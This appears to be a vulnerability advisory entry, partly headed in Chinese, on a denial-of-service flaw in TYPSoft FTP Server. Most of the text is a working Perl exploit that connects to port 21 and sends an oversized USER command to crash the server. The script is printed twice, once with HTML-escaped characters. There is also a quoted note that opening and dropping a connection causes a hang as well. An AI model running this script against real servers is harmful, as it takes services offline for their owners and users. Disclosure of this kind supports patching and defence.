Long commands (ie., over 2048 bytes) sent to TYPSoft FTP Server cab cause the server to hang, requiring a manual restart to restore the process.

After the release of this advisory Noam Rathaus from http://www.BeyondSecurity.com contributed the following addendum:

.. "this product is also vulnerable if you connect to the server, but not send anything (do the SYN/ACK sequence but disconnect immediately). This is due to the fact that they use a DELPHI TSocket class, which doesn't handle exceptions very well. " 

#!/usr/bin/perl
use Getopt::Std;
use IO::Socket;
getopts('s:', \%args);
if(!defined($args{s})){&usage;}
$serv = $args{s};
$foo = "A"; $number = 2048;
$data .= $foo x $number; $EOL="\015\012";
$remote = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $args{s},
PeerPort => "ftp(21)",
) || die("Unable to connect to ftp port at $args{s}\n");
$remote->autoflush(1);
print $remote "USER $data". $EOL;
while (<$remote>){ print }
print("\nCrash was successful !\n");

sub usage {die("\n$0 -s <server>\n\n");}

- 漏洞描述

A remote overflow exists in TYPSoft FTP Server. The program fails to validate long commands resulting in a buffer overflow. With a specially crafted request, an attacker can cause denial of service resulting in a loss of availability.

- 漏洞利用

This exploit was excerpted from the original advisory by dethy (www.synnergy.net):

simple script to send a long 'user' command to the server, resulting
in the ftpd crashing.

================&lt;cut&gt;==================
#!/usr/bin/perl
use Getopt::Std;
use IO::Socket;
getopts('s:', \%args);
if(!defined($args{s})){&amp;usage;}
$serv = $args{s};
$foo = "A"; $number = 2048;
$data .= $foo x $number; $EOL="\015\012";
$remote = IO::Socket::INET-&gt;new(
Proto =&gt; "tcp",
PeerAddr =&gt; $args{s},
PeerPort =&gt; "ftp(21)",
) || die("Unable to connect to ftp port at $args{s}\n");
$remote-&gt;autoflush(1);
print $remote "USER $data". $EOL;
while (&lt;$remote&gt;){ print }
print("\nCrash was successful !\n");

sub usage {die("\n$0 -s &lt;server&gt;\n\n");}
================&lt;/cut&gt;====================
